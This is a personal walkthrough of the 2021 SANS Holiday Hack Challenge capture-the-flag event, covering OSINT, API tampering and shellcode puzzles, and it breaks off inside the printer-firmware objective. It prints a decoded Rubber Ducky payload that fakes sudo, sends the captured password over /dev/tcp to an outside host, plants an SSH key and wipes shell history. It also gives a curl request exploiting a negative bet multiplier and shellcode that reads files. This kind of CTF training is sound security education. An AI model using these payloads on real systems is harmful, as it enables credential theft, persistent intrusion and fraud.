2021 SANS Holiday Hack Challenge
Table Of Contents
Introduction
Every year the SANS Institute and Counter Hack team put on an end of the year capture the flag event referred to the SANS Holiday Hack Challenge (HHC). I participated in my first SANS HHC in 2015 and they have become somewhat of a personal holiday tradition for me. This event marks my 7th year participating and now that the deadline for report submissions has passed I have decided to put out a simple write-up on the event here.
Note: Many of the notes I compiled to put this all on one page were taken during late-night hacking sessions so there are bound to be numerous typos and grammatical errors.
These challenges are kept online and available even after the official competition end, so if this is something that sounds interesting you can find all of the past challenges here. SANS HHC - Past Challenges
It should go without saying, the following content is one big spoiler if you plan on playing HHC 2021.
Story
Listen children to a story that was written in the cold
'Bout a Kringle and his castle hosting hackers, meek and bold
Then from somewhere came another, built his tower tall and proud
Surely he, our Frosty villain hides intentions 'neath a shroud
So begins Jack's reckless mission: gather trolls to win a war
Build a con that's fresh and shiny, has this yet been done before?
Is his Fest more feint than folly? Some have noticed subtle clues
Running 'round and raiding repos, stealing Santa's Don'ts and Do's
Misdirected, scheming, grasping, Frost intends to seize the day
Funding research with a gift shop, can Frost build the better sleigh?
Lo, we find unlikely allies: trolls within Jack's own command
Doubting Frost and searching motive, questioning his dark demand
Is our Jack just lost and rotten - one more outlaw stomping toes?
Why then must we piece together cludgy, wacky radios?
With this object from the heavens, Frost must know his cover's blown
Hearkening from distant planet! We the heroes should have known
Go ahead and hack your neighbor, go ahead and phish a friend
Do it in the name of holidays, you can justify it at year's end
There won't be any retweets praising you, come disclosure day
But on the snowy evening after? Still Kris Kringle rides the sleigh
Objectives
Objective 1 - KringleCon Orientation
Get your bearings at KringleCon
Not much to this objective, follow the instructions provided to talk to Jingle Ringford who provides you with your badge, pick up the wifi adapter off the ground, and interact with the terminal next to Jungle.
-
1a - Talk to Jingle Ringford
Jingle will start you on your journey!
Welcome to the North Pole, KringleCon, and the 2021 SANS Holiday Hack Challenge! I’m Jingle Ringford, one of Santa’s elves.
Santa asked me to come here and give you a short orientation to this festive event.
Before you move forward through the gate, I’ll ask you to accomplish a few simple tasks.
First things first, here’s your badge! It’s that wrapped present in the middle of your avatar. -
1b - Get your badge
Pick up your badge
Great - now you’re official!
Click on the badge on your avatar. That’s where you will see your Objectives, Hints, and gathered Items for the Holiday Hack Challenge.
We’ve also got handy links to the KringleCon talks and more there for you! -
1c - Get the wifi adapter
Pick up the wifi adapter
Next, click on that USB wifi adapter - just in case you need it later.
Fantastic!
OK, one last thing. Click on the Cranberry Pi Terminal and follow the on-screen instructions. -
1d - Use the terminal
Click the computer terminal
This is just a quick task to make sure you know how to interact with the terminals. Click on the terminal next to Jingle, type
answer
into the window that pops up, and press Enter.Enter the 'answer' here > answer
Objective 2 - Where in the World is Caramel Santaigo
Help Tangle Coalbox find a wayward elf in Santa’s courtyard. Talk to Piney Sappington nearby for hints.
Hey there, Gumshoe. Tangle Coalbox here again.
I’ve got a real doozy of a case for you this year.
Turns out some elves have gone on some misdirected journeys around the globe. It seems that someone is messing with their travel plans.
We could sure use your open source intelligence (OSINT) skills to find them.
Why dontcha' log into this vintage Cranberry Pi terminal and see if you have what it takes to track them around the globe.
If you’re having any trouble with it, you might ask Piney Sappington right over there for tips.
Hints obtained at: Exif Metadata - Piney Sappington
For this challenge, we play a simple game where we use some basic OSINT skills to chase down an elf and identify them. The game is somewhat randomized each time you run it but the concept is always the same. Investigate to gain clues, use the InterRink page to narrow down your suspect, depart to the next location based on the clues you gather. Eventually, you catch up with the elf and have to submit your guess as to who they are to complete the challenge.
These are the types of clues you can answer in InterRink:
Language spoken:
Preferred social medium:
Preferred indents:
Fandom:
Pronounces "GIF":
-
Santa’s Castle
Prague is a quintessential Christmas town with activities for nearly anyone. Visit Christmas markets (Vánoční trhy) in Old Town Square, buy some frankincense, or try a klobása sausage from a street vendor.
- I-1: The elf wanted to drink gløgg in Tivoli Gardens.
- I-2: They sent me this blurry selfie of themself or someone they met:
blurry pick
- I-3: They were dressed for 0.0°C and partly cloudy conditions. Oh, I noticed they had a Star Wars themed phone case.
Clue:
Fandom: Star Wars
OSINT:Copenhagen
-
Copenhagen
Whether you’re ice skating in Tivoli Gardens or eating Risalamande, Copenhagen, Denmark is a wonderful place to enjoy the holidays. Families count down through Christmas Eve with advent calendars and wreaths in their homes.
- I-1: They said they wanted to visit Christmas markets - like Christkindlmarkt and Spittelberg, enjoy fried sausages and goulash soup, and drink hot Christmas punch.
- I-2: They just contacted us from an address in the 137.208.0.0/16 range.
- I-3: They were dressed for 1.0°C and partly cloudy conditions. The elf got really heated about using spaces for indents.
Clue:
Preferred indents: spaces
OSINT:Austria
-
Austria
Home to Christmas markets like Christkindlmarkt and Spittelberg, holiday participants enjoy fried sausages and goulash soup, and drink hot Christmas punch.
Filtered by InterRink
-
Jingle Ringford
-
I-1: I think they left to check out the Défilé de Noël.
-
I-2: They called me and mentioned they were connected via Rogers Wireless.
-
I-3: They were dressed for 1.8°C and clear conditions. The elf mentioned something about Stack Overflow and Golang.
Clue:
Language spoken: Golang
OSINT:Montreal
-
-
Montréal
French-Canadian city Montréal proudly hosts lovely, unique Christmas traditions. This is home to the Défilé de Noël festival, fairs, fireworks displays, and a decades-old Santa parade. You might even spot Québec City’s Bonhomme de Neige.
- I-3: You’ve caught up to the elf in time! Do you know who you’ve caught?
Jingle Ringford
Win!
You never cease to amaze, Kid. Thanks for your help.
Objective 3 - Thaw Frost Tower’s Entrance
Turn up the heat to defrost the entrance to Frost Tower. Click on the Items tab in your badge to find a link to the Wifi Dongle’s CLI interface. Talk to Greasy Gopherguts outside the tower for tips.
Hints obtained at: Grepping for Gold - Greasy GopherGuts
Yo, I’m Grimy McTrollkins.
I’m a troll and I work for the big guy over there: Jack Frost.
I’d rather not be bothered talking with you, but I’m kind of in a bind and need your help.
Jack Frost is so obsessed with icy cold that he accidentally froze shut the door to Frost Tower!
I wonder if you can help me get back in.
I think we can melt the door open if we can just get access to the thermostat inside the building.
That thermostat uses Wi-Fi. And I’ll bet you picked up a Wi-Fi adapter for your badge when you got to the North Pole.
Click on your badge and go to the Items tab. There, you should see your Wi-Fi Dongle and a button to “Open Wi-Fi CLI.” That’ll give you command-line interface access to your badge’s wireless capabilities.
Using the WiFi dongle in our inventory we stand near the window to Jack Frost’s tower and scan for and connect to the thermostat WiFi network.
From here we can make a curl request to retrieve some basic API documentation and send a post request to alter the temperature.
Great - now I can get back in!
Objective 4 - Slot Machine Investigation
Test the security of Jack Frost’s slot machines. What does the Jack Frost Tower casino security team threaten to do when your coin total exceeds 1000? Submit the string in the server data.response element. Talk to Noel Boetie outside Santa’s Castle for help.
Hints obtained at: Logic Munchers - Noel Boetie
Snarf. Hrung. Phlthth.
I’m Hubris Selfington.
The big boss told me he’s worried about vulnerabilities in his slot machines, especially this one.
Statistically speaking, it seems to be paying out way too much.
He asked me to see if there are any security flaws in it.
The boss has HUGE plans and we’ve gotta make sure we are running a tight ship here at Frost Tower.
Can you help me find the issue?
I mean, I could TOTALLY do this on my own, but I want to give you a chance first.
Modify requests to tamper with bet amounts, make the modifier negative to always win money. Notice the -10
at the end of our request, we are submitting a negative number as a modifier. Each spin we submit the following as shown in the games javascript source c3runtime.js
.
var param = {
'betamount': amount,
'numline': line,
'cpl': cpl
};
Changing the cpl
modifier allows us to multiply our losses by a negative number and pay out with each loss.
curl 'https://slots.jackfrosttower.com/api/v1/02b05459-0d09-4881-8811-9a2a7e28fd45/spin' \
-X POST -H 'X-Ncash-token: 6a33aa29-2c1f-48e1-b949-fa58cf0c6e62' --data-raw 'betamount=20&numline=20&cpl=-10'
We send this request multiple times as needed and eventually when our winnings are over 1000 coins we get the following back in the reply data.
{
"success": true,
"data": {
"credit": 2200,
"jackpot": 0,
"free_spin": 0,
"free_num": 0,
"scaler": 0,
"num_line": 20,
"bet_amount": 10,
"pull": {
"WinAmount": 0,
"FreeSpin": 0,
"WildFixedIcons": [],
"HasJackpot": false,
"HasScatter": false,
"WildColumIcon": "",
"ScatterPrize": 0,
"SlotIcons": [
"icon7",
"icon2",
"icon2",
"icon6",
"icon7",
"icon9",
"icon1",
"wild",
"icon6",
"icon6",
"icon6",
"icon3",
"icon7",
"icon9",
"icon1"
],
"ActiveIcons": [],
"ActiveLines": []
},
"response": "I'm going to have some bouncer trolls bounce you right out of this casino!"
},
"message": "Spin success"
}
Answer to input into badge: I'm going to have some bouncer trolls bounce you right out of this casino!
Yeah, that’s exactly how I would have solved it, but thanks.
Objective 5 - Strange USB Device
Assist the elves in reverse engineering the strange USB device. Visit Santa’s Talks Floor and hit up Jewel Loggins for advice.
Hints obtained at: IPv6 Sandbox - Jewel Loggins
Hello and welcome to the speaker UnPreparedness Room!
I’m Morcel Nougat, elf extraordinaire.
I’ve heard the talks at the other con across the way are a bit… off.
I really don’t think they have the right sense about what makes for a wonderful holiday season. But, anyway!
Say, do you know anything about USB Rubber Duckies?
I’ve been playing around with them a bit myself.
Please see what you can do to help solve the Rubber Ducky Objective!
Oh, and if you need help, I hear Jewel Loggins, on this floor outside this room, has some experience.
For this objective, we are asked to look at a USB device currently mounted on our system. Some quick glances at the .bin
file residing on the device and we get a good idea of what we are working with. Anyone who has been in the security industry for any amount of time probably recognizes ducky script pretty easily. It was created as an offensive tool for pentesters but in truth, I think I have run into more IT technicians and network admins who use them as simple plug-and-play diagnostic tools than I have anything else.
With the code identified, we can make short work of reversing it with the ducky script toolset, which just so happens to be installed on our terminal.
What is the troll username involved with this attack?
A random USB device, oh what could be the matter?
It seems a troll has left this, right on a silver platter.
Oh my friend I need your ken, this does not smell of attar.
Help solve this challenge quick quick, I shall offer no more natter.
Evaluate the USB data in /mnt/USBDEVICE.
Our ducky script.
ENTER
DELAY 1000
c280
DELAY 500
t e r m i n a l
ENTER
DELAY 500
d280 d280 d280 d280 d280
SPACE
/ b i n / b a s h
ENTER
DELAY 500
m k d i r
SPACE
- p
SPACE
~ / . c o n f i g / s u d o
ENTER
DELAY 200
e c h o
SPACE
' # ! / b i n / b a s h
SPACE
>
SPACE
~ / . c o n f i g / s u d o / s u d o
ENTER
/ u s r / b i n / s u d o
SPACE
$ @
ENTER
e c h o
SPACE
- n
SPACE
" [ s u d o ]
SPACE
p a s s w o r d
SPACE
f o r
SPACE
$ U S E R :
SPACE
"
ENTER
r e a d
SPACE
- s
SPACE
p w d
ENTER
e c h o
ENTER
e c h o
SPACE
" $ p w d "
SPACE
|
SPACE
/ u s r / b i n / s u d o
SPACE
- S
SPACE
t r u e
SPACE
2 > / d e v / n u l l
ENTER
i f
SPACE
[
SPACE
$ ?
SPACE
- e q
SPACE
1
SPACE
]
ENTER
t h e n
ENTER
e c h o
SPACE
" $ U S E R : $ p w d : i n v a l i d "
SPACE
>
SPACE
/ d e v / t c p / t r o l l f u n . j a c k f r o s t t o w e r . c o m / 1 3 3 7
ENTER
e c h o
SPACE
" S o r r y ,
SPACE
t r y
SPACE
a g a i n . "
ENTER
s u d o
SPACE
$ @
ENTER
e l s e
ENTER
e c h o
SPACE
" $ U S E R : $ p w d : v a l i d "
SPACE
>
SPACE
/ d e v / t c p / t r o l l f u n . j a c k f r o s t t o w e r . c o m / 1 3 3 7
ENTER
e c h o
SPACE
" $ p w d "
SPACE
|
SPACE
/ u s r / b i n / s u d o
SPACE
- S
SPACE
$ @
ENTER
f i
ENTER
f i '
SPACE
>
SPACE
~ / . c o n f i g / s u d o / s u d o
ENTER
DELAY 200
c h m o d
SPACE
u + x
SPACE
~ / . c o n f i g / s u d o / s u d o
ENTER
DELAY 200
e c h o
SPACE
" e x p o r t
SPACE
P A T H = ~ / . c o n f i g / s u d o : $ P A T H "
SPACE
> >
SPACE
~ / . b a s h _ p r o f i l e
ENTER
DELAY 200
e c h o
SPACE
" e x p o r t
SPACE
P A T H = ~ / . c o n f i g / s u d o : $ P A T H "
SPACE
> >
SPACE
~ / . b a s h r c
ENTER
DELAY 200
e c h o
SPACE
= = g C z l X Z r 9 F Z l p X a y 9 G a 0 V X Y v g 2 c z 5 y L + B i P + A y J t 9 2 Y u I X
Z 3 9 G d 0 N 3 b y Z 2 a j F m a u 4 W d m x G b v J H d A B 3 b v d 2 Y t l 3 a j l G I L F E
S V 1 m W V N 2 S C h V Y T p 1 V h N l R y Q 1 U k d F Z o p k b S 1 E b H p F S w d l V R J
l R V N F d w M 2 S G V E Z n R T a i h m V X J 2 Z R h V W v J F S J B T O t J 2 Z V 1 2 Y u V
l M k d 2 d T V G b 0 d U S J 5 U M V d G N X l 1 Z r h k Y z Z 0 V a l n Q D R m d 1 c U S 6
x 2 R J p H b H F W V C l H Z O p V V T p n W w Q F d S d E V I J l R S 9 G Z y o V c K J T V z
w W M k B D c W F G d W 1 G Z v J F S T J H Z I d l W K h k U 1 4 U b V B S Y z J X L o N 3 c
n A y b o N W Z
SPACE
|
SPACE
r e v
SPACE
|
SPACE
b a s e 6 4
SPACE
- d
SPACE
|
SPACE
b a s h
ENTER
DELAY 600
h i s t o r y
SPACE
- c
SPACE
& &
SPACE
r m
SPACE
. b a s h _ h i s t o r y
SPACE
& &
SPACE
e x i t
ENTER
DELAY 600
4180
Decoding the base64 to view the unobfuscated ssh key dump.
elf@d1f28d7c019b:/mnt/USBDEVICE$ ducky-decode.pl inject.bin | grep '= =' | sed 's/ //g' | rev | base64 -d
echo 'ssh-rsa UmN5RHJZWHdrSHRodmVtaVp0d1l3U2JqZ2doRFRHTGRtT0ZzSUZNdyBUaGlzIGlzIG5vdCByZWFsbHkgYW4gU1NIIGtleSwgd2UncmUgbm90IHRoYXQgbWVhbi4gdEFKc0tSUFRQVWpHZGlMRnJhdWdST2FSaWZSaXBKcUZmUHAK ickymcgoop@trollfun.jackfrosttower.com' >> ~/.ssh/authorized_keys
Answer: ickymcgoop
Yay! Fantastic work!
Objective 6 - Shellcode Primer
Complete the Shellcode Primer in Jack’s office. According to the last challenge, what is the secret to KringleCon success? “All of our speakers and organizers, providing the gift of ____, free to the community.” Talk to Chimney Scissorsticks in the NetWars area for hints.
Hints obtained at: Holiday Hero - Chimney Scissorsticks
Provides hints for: Objective 7 - Printer Exploitation
Hey, I’m Ruby Cyster. Don’t listen to anything my sister, Ingreta, says about me.
So I’m looking at this system, and it has me a little bit worried.
If I didn’t know better, I’d say someone here is learning how to hack North Pole systems.
Who’s got that kind of nerve!
Anyway, I hear some elf on the other roof knows a bit about this type of thing.
The Shellcode Primer objective is exactly what it sounds like, a short primer course on creating and understanding basic shellcode. This objective will be on the longer side just given the amount of information they are trying to convey in this short course.
-
Welcome to Shellcode Primer!
This is a training program conceived by Jack Frost (yes, THE Jack Frost) to train trolls how to build exploit code, from the ground up. This will teach how to write working x64 shellcode to read a file and print it to standard output!
If you’re new to this, we recommend reading this introduction thoroughly!
-
Introduction
In this challenge, you will be hand-crafting increasingly complex shellcode, written in x64. If that sounds scary, don’t fret! We will guide you step by step!
Choose your challenge on the left (Introduction will be open by default), read the instructions on the top, and start writing code! We’ll provide the basic structure of the code to help make sure you’re heading in the right direction.
-
What is Shellcode?
Shellcode is small, position-independent assembly code that is typically executed as the payload of an exploit. For the initial challenges, you’ll write code and see what it does - no exploit required.
The important thing about shellcode is that it doesn’t typically have access to libraries or functions that you might be accustomed to; it needs to be entirely self-contained! Even normally simple things like defining a string or opening a file can be tricky. We’ll cover those things as they come up!
-
Using Shellcode Primer
As you type code, it will be assembled in the background. Assembling takes the assembly code you write and translates it into machine code (which is represented as a series of hex characters). We use the metasm Ruby library to assemble, in case you want to work on your code locally:
require 'metasm' assembled = Metasm::Shellcode.assemble(Metasm::X86_64.new, payload['code']).encode_string.unpack('H*').pop()
When your code successfully assembles, you can execute it by clicking the Execute button at the bottom. That’ll run the code in a virtual machine, and instrument each step so you can see exactly what’s going on!
Good Luck!
-
Introduction
Welcome to Shellcode Primer!
The goal of Shellcode Primer is to teach you how to write some basic x64 shellcode for reading a file. We’ll take you through each piece of what you need, step by step, and show you what’s going on.
First, let’s learn the user interface a bit. There’s some code below. The left is where you type code, and the right will attempt to syntax-highlight and show build errors.
For the time being, you don’t need to change anything, just have a look at what it’s doing - it’s more or less the same type of stuff you’re going to be learning.
Go ahead and execute the code (using the bottom below) and play around in the debugger. On the left, you’ll see instructions executing in the order that they execute. Click on them to the state when that instruction executes!
Also, don’t forget to click that hint button below! Hints don’t cost you anything. :)
; Set up some registers (sorta like variables) with values ; In the debugger, look how these change! mov rax, 0 mov rbx, 1 mov rcx, 2 mov rdx, 3 mov rsi, 4 mov rdi, 5 mov rbp, 6 ; Push and pop - watch how the stack changes! push 0x12345678 pop rax push 0x1111 push 0x2222 push 0x3333 pop rax pop rax pop rax ; This creates a string and references it in rax - watch the debugger! call getstring db "Hello World!",0 getstring: pop rax ; Finally, return 0x1337 mov rax, 0x1337 ret
-
Loops
Although you won’t have to worry about writing a loop for any of these lessons, showing how a loop works is a good demo for the debugger.
Look at the code below, then execute it (no need to change it). Watch how the same code repeats, over and over, with
rax
changing in each loop.Notice how the code listing below isn’t the same as what is executed in the debugger. In the History section of the debugger, the instructions will change to show what is executed to achieve what you describe in the assembly source code.
; We want to loop 5 times - you can change this if you want! mov rax, 5 ; Top of the loop top: ; Decrement rax dec rax ; Jump back to the top until rax is zero jnz top ; Cleanly return after the loop ret
-
Getting Started
Welcome! Are you ready to learn how to write shellcode? We hope so! First, some tips:
- Comments are denoted with a semicolon (
;
) - Don’t forget to look at the debugger, line by line, if something is wrong
- Really, don’t forget to read the error list! We check each place where you might go wrong in your code
- Your code for each level is saved in your browser, so you can leave and come back, refresh the page, and hop back to previous levels to borrow code
This level currently fails to build because it has no code. Can you add a
ret
urn statement at the end? Don’t worry about what it’s actually returning (yet!)Feel free to check previous levels!
; This is a comment! We'll use comments to help guide your journey. ; Right now, we just need to RETurn! ; ; Enter a return statement below and hit Execute to see what happens! ret
- Comments are denoted with a semicolon (
-
Returning a Value
Now that we have an empty function, we can start building some code! Let’s learn what a register is.
A register is like a variable, except there are a small number of them - you have about eight general purpose 64-bit integers registers on amd64 (we won’t talk about floating point or other special registers):
- rax
- rbx
- rcx
- rdx
- rdi
- rsi
- rbp
- rsp
All mathy stuff that a computer does (add, subtract, xor, etc) operates on registers, not directly on memory. So they’re super important!
Specific registers have some implicit meaning, mostly by convention. For example, when a function returns, its return value is typically put in
rax
. Let’s do that!To move a value into a register, use the
mov
instruction; for example:mov rdx, 1
In a higher-level language this would be equivalent to:
rdx = 1
For this level, can you return the number ‘1337’ from your function?
That means that
rax
must equal1337
when the function returns.; TODO: Set rax to 1337 mov rax, 0x1337 ; Return, just like we did last time ret
-
System Calls
If you’ve made it this far, I bet you’re wondering how to make your shellcode do something!
If you’re familiar with Python, you might know how to use the
open()
function. If you know C, you might know thefopen()
function. But what these and similar functions have in common is one thing: they’re library code. And because shellcode needs to be self contained, we don’t have (easy) access to library code!So how do we deal with that?
Linux has something called a
syscall
, or system call. A syscall is a request that a program makes that asks Linux - the kernel - to do something. And it turns out, at the end of the day, all of those library calls ultimately end with a syscall. Here is a list of available syscalls on x64 (alternative)To perform a syscall:
- The number for the desired syscall is moved into
rax
- The first parameter is moved into
rdi
, the second intorsi
, and the third intordx
(there are others, but not many syscalls need more than 3 parameters) - Execute the
syscall
instruction
The second
syscall
executes, Linux flips into kernel mode and we can no longer debug it. When it’s finished, it returns the result inrax
.For this challenge, we’re going to call
sys_exit
to exit the process with exit code 99.Can you prepare
rax
andrdi
with the correct values to exit?As always, feel free to mess around as much as you like!
; TODO: Find the syscall number for sys_exit and put it in rax mov rax, 60 ; TODO: Put the exit_code we want (99) in rdi mov rdi, 99 ; Perform the actual syscall syscall
- The number for the desired syscall is moved into
-
Calling Into the Void
Before we learn how to use the Really Good syscalls, let’s try something fun: crash our shellcode on purpose!
You might think I’m mad, but there’s a method to my madness. Run the code below and watch what happens! No need to modify it, unless you want to. :)
Be sure to look at the debugger to see what’s going on! Especially notice the top of the stack at the
ret
instruction; Push this value to the stack push 0x12345678 ; Try to return ret
-
Getting RIP
What happened in the last exercise? Why did it crash at
0x12345678
? And did you notice that 0x12345678 was on top of the stack whenret
happened?The short story is this:
call
pushes the return address onto the stack, andret
jumps to it. Whaaaat??This is going to be long, but hopefully will make it all clear!
Let’s back up a bit. At any given point, the instruction currently being executed is stored in a special register called the instruction pointer (
rip
), which you may also hear called a program counter (pc
).What is the
rip
value at the first line in our code? Well, since we have a debugger, we know that it’s0x13370000
. But sometimes you don’t know and need to find out.The most obvious answer is to treat it like a normal register, like this:
mov rax, rip
ret
Does that work? Nope! You can’t directly access
rip
. That means we need a trick!When you use
call
in x64, the CPU doesn’t care where it’s calling, or whether there’s aret
waiting for it. The CPU assumes that, if the author put acall
in, there will naturally be aret
on the other end. Doing anything else would just be silly! Socall
pushes the return address onto the stack before jumping into a function. When the function complete, theret
instruction uses the return address on the stack to know where to return to.The CPU assumes that, sometime later, a
ret
will execute. Theret
assumes that at some point earlier acall
happened, and that means that the top of the stack has the return address. Theret
will retrieve the return address off the top of the stack (usingpop
) and jump to it.Of course, we can execute
pop
too! If wepop
the return address off the stack, instead of jumping to it, the address goes into a register. Hmm! Does that also sound likemov REG, rip
to you?For this exercise, can you
pop
the address after the call - the No Op (nop
) instruction - intorax
then return?; Remember, this call pushes the return address to the stack call place_below_the_nop ; This is where the function *thinks* it is supposed to return nop ; This is a 'label' - as far as the call knows, this is the start of a function place_below_the_nop: ; TODO: Pop the top of the stack into rax pop rax ; Return from our code, as in previous levels ret
-
Hello, World!
So remember how last level, we got the address of
nop
and returned it?Did you see that
nop
execute? Nope! We jumped right over it, but stored its address en-route. What can we do by knowing our own address?Well, since shellcode is, by definition, self-contained, you can do other fun stuff like include data alongside the code!
What if the return address isn’t an instruction at all, but a string?
For this next exercise, we include a plaintext string -
'Hello World'
- as part of the code. It’s just sitting there in memory. If you look at the compiled code, it’s all basicallyHello World
, which doesn’t run.Instead of trying to run it, can you
call
past it, andpop
its address intorax
?Don’t forget to check the debugger after to see it in
rax
!; This would be a good place for a call call do_the_dang_thing ; This is the literal string 'Hello World', null terminated, as code. Except ; it'll crash if it actually tries to run, so we'd better jump over it! db 'Hello World',0 do_the_dang_thing: ; This would be a good place for a label and a pop pop rax ; This would be a good place for a re... oh wait, it's already here. Hooray! ret
-
Hello, World!!
Remember syscalls? Earlier, we used them to call an exit. Now let’s try another!
This time, instead of getting a pointer to the string
Hello World
, we’re going to print it to standard output (stdout).Have another look at the syscall table. Can you find
sys_write
, and use to to print the stringHello World!
to stdout?Note: stdout’s file descriptor is
1
.; TODO: Get a reference to this string into the correct register call do_the_dang_thing db 'Hello World!',0 do_the_dang_thing: ; Set up a call to sys_write ; TODO: Set rax to the correct syscall number for sys_write mov rax, 1 ; TODO: Set rdi to the first argument (the file descriptor, 1) mov rdi, 1 ; TODO: Set rsi to the second argument (buf - this is the "Hello World" string) pop rsi ; TODO: Set rdx to the third argument (length of the string, in bytes) mov rdx, 12 ; Perform the syscall syscall ; Return cleanly ret
-
Opening a File
We’re getting dangerously close to do something interesting! How about that?
Can you use the
sys_open
syscall to open/etc/passwd
, then return the file handle (in rax)?Have another look at the syscall table. Can you call
sys_open
on the file/etc/passwd
, then return the file handle? Here’s the syscall table again.; TODO: Get a reference to this string into the correct register call do_the_dang_thing db '/etc/passwd',0 do_the_dang_thing: ; Set up a call to sys_open ; TODO: Set rax to the correct syscall number mov rax, 2 ; TODO: Set rdi to the first argument (the filename) pop rdi ; TODO: Set rsi to the second argument (flags - 0 is fine) mov rsi, 0 ; TODO: Set rdx to the third argument (mode - 0 is also fine) mov rdx, 0 ; Perform the syscall syscall ; syscall sets rax to the file handle, so to return the file handle we don't ; need to do anything else! ret
-
Reading a File
Do you feel ready to write some useful code? We hope so! You’re mostly on your own this time! Don’t forget that you can reference your solutions from other levels!
For this exercise, we’re going to read a specific file… let’s say,
/var/northpolesecrets.txt
… and write it to stdout. No reason for the name, but since this is Jack Frost’s troll-trainer, it might be related to a top-secret mission!Solving this is going to require three syscalls! Four if you decide to use
sys_exit
- you’re welcome to return or exit, just don’t forget to fix the stack if you return!First up, just like last exercise, call
sys_open
. This time, be sure to open/var/northpolesecrets.txt
.Second, find the
sys_read
entry on the syscall table, and set up the call. Some tips:- The file descriptor is returned by
sys_open
- The buffer for reading the file can be any writeable memory -
rsp
is a great option, temporary storage is what the stack is meant for - You can experiment to find the right
count
, but if it’s a bit too high, that’s perfectly fine
Third, find the
sys_write
entry, and use it to write to stdout. Some tips on that:- The file descriptor for stdout is always
1
- The best value for
count
is the return value fromsys_read
, but you can experiment with that as well (if it’s too long, you might get some garbage after; that’s okay!)
Finally, if you use
rsp
as a buffer, you won’t be able toret
- you’re going to overwrite the return address andret
will crash. That’s okay! You remember how tosys_exit
, right? :)(For an extra challenge, you can also subtract from rsp, use it, then add to
rsp
to protect the return address. That’s how typical applications do it.)Good luck!
; TODO: Get a reference to this call do_the_dang_thing db '/var/northpolesecrets.txt',0 do_the_dang_thing: ; TODO: Call sys_open mov rax, 2 pop rdi mov rsi, 0 mov rdx, 0 syscall ; TODO: Call sys_read on the file handle and read it into rsp mov rdi, rax mov rax, 0 mov rsi, rsp mov rdx, 1000 syscall ; TODO: Call sys_write to write the contents from rsp to stdout (1) mov rdx, rax mov rdi, 1 mov rax, 1 mov rsi, rsp syscall ; TODO: Call sys_exit mov rax, 60 mov rdi, 99 syscall ret
- The file descriptor is returned by
-
Stdout
Secret to KringleCon success: all of our speakers and organizers, providing the gift of cyber security knowledge, free to the community.
Oh man - what is this all about? Great work though.
So first things first, you should definitely take a look at the firmware.
With that in-hand, you can pick it apart and see what’s there.
Did you know that if you append multiple files of that type, the last one is processed?
Have you heard of MGRS?
If something isn’t working, be sure to check the output! The error messages are very verbose.
Everything else accomplished, you just might be able to get shell access to that dusty old thing!
Files placed in /app/lib/public/incoming will be accessible under https://printer.kringlecastle.com/incoming/.
Objective 7 - Printer Exploitation
Investigate the stolen Kringle Castle printer. Get shell access to read the contents of /var/spool/printer.log
. What is the name of the last file printed (with a .xlsx
extension)? Find Ruby Cyster in Jack’s office for help with this objective.
Hints obtained at: Objective 6 - Shellcode Primer
From examining the printer portal we can gain a pretty good idea about where we should focus our attention. Almost everything is locked behind a password prompt except for the firmware upgrade page which also conveniently allows us to download the current firmware.
The firware download is a json file containing the following key value pairs.
- firmware:
base64 encoded blob
- signature:
hash value
- secret_length:
16
- algorithm":
SHA256
Additionally decoding the base64 blob shows us that it is a zip file containing firmware.bin
{
"firmware": "UEsDBBQAAAAIANilhlMWoKjwagkAAOBAAAAMABwAZmlybXdhcmUuYmluVVQJAAO4dq5huHauYXV4CwABBAAAAAAEAAAAAO1bX2wcRxmfvfPZ5zpen9OEOE7Al5JIDuTOl6R2HVo3Pttnr9HFMakd1FBns/aufUfvj3u3R+wAIuBSOBWXPlSoD+0LeUklkCh9gQfUBFuVKihKHioiQZEJqeRGoF5UiFJIvczszrfemdtrygvwsJ90+9vvm+83M/vN7HrWO9+3EslhnyAgED96FBFtPGTp/dR+5ojtgm29qAkfP4M+jeqxXufw4zHlYzFot2PxLlI7j7sRi4ID61BtORNgEYU2eQGHzuNbAotOntlemNo5TAksOnkkNusRS1/vY1Gi1znuY3k+yrtDeXf6WFwTWIR41tHfKq2PxyHEIsRw/F1dJed76fXw+AhiEXhfwrx69MkFwn2CtlcrLm0+FiGsXZn0dM+DXRk1kknnSguRhd6eSM+D0WI+esjsU4j6joxNmv5kfkFoSfk2aiPld8/+qPmtt/e8JAy1hAZfOyVWfvuX6xB3GDeEvm0e4Rqvar/Lftz1ke6HXexN+LfVxd5Rw/54jXpSNezkuh9w6xCO1wwJTw+aL+lFJMszC4o8m84pmfQ5DaukXC7qSkGXs0o6h0aSowOD8qHooWg3kkcnjsmqVtDm0kVdK0wcG8zkc9qEMp0hzLlsPkeZsuXq6kjER8fAh+MqmLGFeVBqTzcS+0Gqw/jDfI61Wljh7BVaQWc/awf92lELYSxB1hx2v8O+7rA7nysVhz3gsN9x2J3zv42234A2550nnnjiiSeeeOKJJ578v4m09Neg9GzgnS58+t1Lus+4Ii2tBlfscqP7Oi4y9t3Ax5aOfnxGdPI2gt5bM7Ds+znWZ58H/4N/Gy1fPS2Vr0tLNyrjE8nlwCm8DJeWmz8gjS33XSZ1bp/FnL+3dAyZpldI28uBHxM4ckffjrvzKO1Oo7HW0nGe1LtCEfsvmv7dBQL7N6TLG36pXJEurx+VhDekqxv6NlzBdlpB0FibNdsB/vm+I7gIlbompaW+21FSY/ldfYv0bF97F3krxVe0nsKHNwKtWBemVrj23/s6LpzEHBy4UPmbd6VyqYL79EsRk9c2DOMXxOnNFdzo02Y84l8eLf8+fnK0fDs+GS9/FMcR2Td/AKFJaTlC8LHkflJVcL2IydLlj/z6roN/aOlAyfI/k+XbQ+X348a2P0pLK4J05J3STTI2X5mKPxGfip+Oy7hPaAXGkBk1TzzxxBNPPPHEE0888cQTTzxhRUA+NJwuZM8qBS2cLoZnS5nMYrg0H9bzYVXRtT3EZ5f/4V5kfe+6+75hkDfb3RXD+AnGAxgnMLbeMoxVjI9gvIHxJYwHBOu7q9nOuRNIWAgJu7Y0BJ8XGkLETr7tX8H1fd7RH3d/hPZS/3nsHyYOYmhYbPtiS9PZ4Hl0tP3hzx3e+wDwyTfuFPYLOuol3CfwL4H7azrGxdAzvsHm+incAOV8A//GcfkUKR8QQz/0JcS25/wJMbxclxA7fxCQxNgz9ZLYu9QwIvZ/VeyNi7G42DkghgfENuw/IAbN75skDilcj/P7oyeeeOKJJ5544oknnnjiyX9L7P2Ujv3JTtwCjrS8maqrlLeT6rBPcxfV4R2rnSLs19zNlf9jw8ibOt18CXsqr1Ed9lLGqH4f1b9DsYliG8XtiBV7T2e/BbAHE/zhvbKB4g6KUoC1f7+O7fclio1cff8yrOsB1w2qpyjfoDr